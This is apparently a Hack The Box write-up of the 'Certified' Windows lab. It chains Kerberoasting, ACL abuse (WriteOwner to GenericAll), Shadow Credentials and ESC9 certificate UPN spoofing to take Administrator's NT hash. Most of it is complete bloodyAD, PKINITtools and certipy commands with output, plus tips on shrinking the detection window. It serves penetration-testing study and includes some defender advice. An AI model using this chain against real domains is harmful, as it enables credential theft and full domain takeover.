Abuse ACL misconfigs to chain WriteOwner→GenericAll→Shadow Credentials, recover an NT hash, then exploit ESC9 via UPN spoofing to enroll an Admin certificate and pwn the DC.
Difficulty: Medium OS: Windows Server 2019 Domain:certified.htb / DC01.certified.htbIP:10.129.231.186
Overview
Certified is a Windows Active Directory machine centred around certificate-based attacks (ADCS) and ACL abuse. The attack chain runs as follows:
Enumerate the domain with valid low-privileged credentials (judith.mader)
Abuse WriteOwner over the Management group to gain GenericAll
Add judith.mader to Management, then perform a Shadow Credentials attack against management_svc to obtain its NT hash
Use management_svc's privileges to change the ca_operator password and pivot to an ESC9 ADCS exploit
Temporarily alter ca_operator's userPrincipalName to [email protected], enroll a certificate, and authenticate as Administrator to retrieve the root flag
Enumeration
Nmap
The scan reveals a Windows Domain Controller exposing the standard AD service stack
Key findings:
Domain:certified.htb
DC hostname:DC01
OS: Windows 10 / Server 2019 Build 17763
SMB signing is enforced (relay attacks not viable)
Clock skew of ~7 hours (important for Kerberos — sync time before attacking)
SMB Share Enumeration
Initial credentials judith.mader:judith09 are valid. The account has read access to IPC$, NETLOGON, and SYSVOL — standard for any domain user. No interesting shares beyond defaults.
Kerberoasting
A TGS-REP hash is returned for management_svc, which has an SPN registered against DC01. The account is a member of CN=Management,CN=Users,DC=certified,DC=htb.
Note: The hash (etype 23 / RC4) was not crackable offline — a different path was required to compromise this account.
judith.mader can take ownership of the Management group
After taking ownership, she can grant herself GenericAll
With GenericAll on the group she can add herself to it
Management has GenericWrite over management_svc, enabling a Shadow Credentials attack
Foothold — Exploiting ACL Chain to Compromise management_svc
Step 1 — Take Ownership of the Management Group
Step 2 — Grant GenericAll to judith.mader
Step 3 — Add judith.mader to the Management Group
judith.mader now inherits GenericWrite over management_svc through group membership.
Step 4 — Shadow Credentials Attack against management_svc
The Shadow Credentials technique writes a KeyCredential to a target account's msDS-KeyCredentialLink attribute. When GenericWrite is held over an account, this attribute can be modified to add an attacker-controlled certificate, which can then be used for PKINIT authentication (bypassing the password entirely).
Step 5 — Obtain a TGT via PKINIT
Step 6 — WinRM Shell as management_svc
Configure Kerberos for the target realm:
Connect via Evil-WinRM using Kerberos authentication:
✅ User flag obtained.
Privilege Escalation — ESC9 ADCS Abuse to Administrator
Background — What is ESC9?
ESC9 targets certificate templates that have the CT_FLAG_NO_SECURITY_EXTENSION flag set (i.e., NoSecurityExtension in the msPKI-Enrollment-Flag attribute). When this flag is present, the issued certificate does not embed a Security Identifier (SID), meaning authentication is determined purely by the userPrincipalName (UPN) in the certificate's Subject Alternative Name. If an attacker can temporarily modify the UPN of an enrollable account to match a privileged user's UPN, they can obtain a certificate that authenticates as that privileged user.
Prerequisites for ESC9:
The attacker has GenericWrite (or equivalent) over an account that can enroll in the vulnerable template
The CA does not enforce SID binding (pre-May 2022 patch level, or StrongCertificateBindingEnforcement = 0)
Step 1 — Change ca_operator's Password
management_svc has GenericAll over ca_operator
Step 2 — Enumerate Certificate Templates
The CertifiedAuthentication template stands out:
Property
Value
Template Name
CertifiedAuthentication
CA
certified-DC01-CA
Client Authentication
✅ True
Enrollment Rights
CERTIFIED.HTB\operator ca
Certificate Name Flag
SubjectAltRequireUpn, SubjectRequireDirectoryPath
Enrollment Flag
PublishToDs, AutoEnrollment, NoSecurityExtension
Vulnerability
ESC9
The NoSecurityExtension flag is the critical indicator — certificates issued from this template will not contain a SID, making them vulnerable to UPN spoofing.
Step 3 — Recover the NT Hash
TICKET GOT EXPIRED SO HAD TO TAKE ANOTHER ONE
Step 4 — Spoof the Administrator UPN
Using management_svc's NT hash, temporarily update ca_operator's UPN to impersonate Administrator:
Step 5 — Enroll a Certificate as ca_operator
The certificate is issued with UPN [email protected] embedded in the SAN, and no SID to contradict it.
Step 6 — Restore ca_operator's UPN (Cleanup)
Operational note: Restoring the UPN immediately after enrollment is best practice — it reduces the detection window and avoids breaking ca_operator's legitimate authentication.
ACL abuse chains are a recurring theme in AD environments. WriteOwner is deceptively powerful — taking ownership of a group opens the door to GenericAll and everything that follows.
Shadow Credentials is a stealthy technique that avoids modifying passwords; it only writes to msDS-KeyCredentialLink, which may not be monitored in many environments.
ESC9 is subtle because the template itself doesn't have misconfigured permissions — the vulnerability is the absence of the security extension, combined with the ability to temporarily change a UPN. Defenders should audit msPKI-Enrollment-Flag for NoSecurityExtension on any template allowing client authentication.
Always sync your clock with the target DC when attacking Kerberos — a skew over 5 minutes will cause all ticket requests to fail.
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.231.186 -sCV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 12:05 -0400
Nmap scan report for 10.129.231.186
Host is up (0.17s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-12 23:05:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
|_ssl-date: 2026-03-12T23:07:11+00:00; +7h00m02s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-12T23:07:10+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-12T23:07:10+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-12T23:07:10+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-12T23:06:31
|_ start_date: N/A
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.99 seconds
┌──(kali㉿kali)-[~/Documents/certified]
└─$ GetUserSPNs.py certified.htb/judith.mader:judith09 -dc-ip 10.129.231.186 -request
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- -------------- ------------------------------------------ -------------------------- --------- ----------
certified.htb/management_svc.DC01 management_svc CN=Management,CN=Users,DC=certified,DC=htb 2024-05-13 11:30:51.476756 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$e68b2f5ff4061e9fd6efe5...SNIP...abf$0a557a90233df73a3
┌──(kali㉿kali)-[~/Documents/certified]
└─$ bloodhound-python -u judith.mader -p 'judith09' \
-d certified.htb \
-ns 10.129.231.186 \
-c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 43S
┌──(kali㉿kali)-[~/Documents/certified]
└─$ bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p judith09 set owner management judith.mader
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on management
┌──(kali㉿kali)-[~/Documents/certified]
└─$ bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 add genericAll management judith.mader
[+] judith.mader has now GenericAll on management
┌──(kali㉿kali)-[~/Documents/certified]
└─$ bloodyAD --host 10.129.231.186 -d certified.domain -u judith.mader -p judith09 add shadowCredentials management_svc
[+] KeyCredential generated with following sha256 of RSA key: 5fd7c808dfa21ed21f7b43731472ae057ccad9393724a2309473fa541ae7d313
No outfile path was provided. The certificate(s) will be stored with the filename: AxT8P2S0
[+] Saved PEM certificate at path: AxT8P2S0_cert.pem
[+] Saved PEM private key at path: AxT8P2S0_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem AxT8P2S0_cert.pem -key-pem AxT8P2S0_priv.pem certified.domain/management_svc AxT8P2S0.ccache
┌──(kali㉿kali)-[~/Documents/certified]
└─$ python3 ../../PKINITtools/gettgtpkinit.py -cert-pem AxT8P2S0_cert.pem -key-pem AxT8P2S0_priv.pem certified.htb/management_svc AxT8P2S0.ccache
2026-03-12 20:09:21,158 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2026-03-12 20:09:21,164 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2026-03-12 20:09:33,448 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2026-03-12 20:09:33,449 minikerberos INFO 4481e483b76bd13a5c6351a0f43c23492d32defe9a7a7c9574e4a4817ba75ff8
INFO:minikerberos:4481e483b76bd13a5c6351a0f43c23492d32defe9a7a7c9574e4a4817ba75ff8
2026-03-12 20:09:33,451 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
┌──(kali㉿kali)-[~/Documents/certified]
└─$ export KRB5CCNAME=AxT8P2S0.ccache
┌──(kali㉿kali)-[~/Documents/certified]
└─$ certipy find -u ca_operator -p Test123! -dc-ip 10.129.231.186
...SNIP...
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:48:52+00:00
Template Last Modified : 2024-05-13T15:55:20+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
...SNIP...
Template Name : Machine
Display Name : Computer
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireDnsAsCn
Enrollment Flag : AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:43:41+00:00
Template Last Modified : 2024-05-13T15:43:41+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Domain Computers
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Enterprise Admins
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Domain Computers
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\Domain Computers
[*] Remarks
ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
...SNIP...
Template Name : User
Display Name : User
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:43:41+00:00
Template Last Modified : 2024-05-13T15:43:41+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Domain Users
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Enterprise Admins
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Domain Users
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\Domain Users
[*] Remarks
ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host 10.129.231.186 -d certified.domain -u judith.mader -p judith09 add shadowCredentials management_svc
[+] KeyCredential generated with following sha256 of RSA key: 3427307ec7fd5be9c64a98f578116410895d118828f8c3b28040345c61935f37
No outfile path was provided. The certificate(s) will be stored with the filename: q7oBZTNa
[+] Saved PEM certificate at path: q7oBZTNa_cert.pem
[+] Saved PEM private key at path: q7oBZTNa_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem q7oBZTNa_cert.pem -key-pem q7oBZTNa_priv.pem certified.domain/management_svc q7oBZTNa.ccache
#ticket got expired so had to take another one
┌──(kali㉿kali)-[~]
└─$ python3 ~/PKINITtools/gettgtpkinit.py \
-cert-pem q7oBZTNa_cert.pem \
-key-pem q7oBZTNa_priv.pem \
-dc-ip 10.129.231.186 \
certified.htb/management_svc q7oBZTNa.ccache
2026-03-12 22:09:02,318 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2026-03-12 22:09:02,325 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2026-03-12 22:09:02,997 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2026-03-12 22:09:02,997 minikerberos INFO cedeb1f35e7c72c18049f7697e3a56d8f3ea96f9d9bd45a6c77c1c0042d3032e
INFO:minikerberos:cedeb1f35e7c72c18049f7697e3a56d8f3ea96f9d9bd45a6c77c1c0042d3032e
2026-03-12 22:09:02,999 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=q7oBZTNa.ccache
python3 ~/PKINITtools/getnthash.py \
-key cedeb1f35e7c72c18049f7697e3a56d8f3ea96f9d9bd45a6c77c1c0042d3032e \
certified.htb/management_svc
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091xxxxxxxxxxxxxxxxxxxx5584
┌──(kali㉿kali)-[~]
└─$ certipy req -u [email protected] -p 'Test123!' \
-ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
┌──(kali㉿kali)-[~]
└─$ certipy account update -u [email protected] -hashes :a091c1xxxxxxxxxxxxxxxxxxxxx295584 \
-user ca_operator -upn [email protected] -dc-ip 10.129.231.186
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : [email protected][*] Successfully updated 'ca_operator'
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx ca_operator.pfx -domain certified.htb -dc-ip 10.129.231.186
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[-] Failed to load PFX file: [Errno 2] No such file or directory: 'ca_operator.pfx'
[-] Authentication failed: [Errno 2] No such file or directory: 'ca_operator.pfx'
[-] Use -debug to print a stacktrace
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:0d5b49xxxxxxxxxxxxxxxx2d34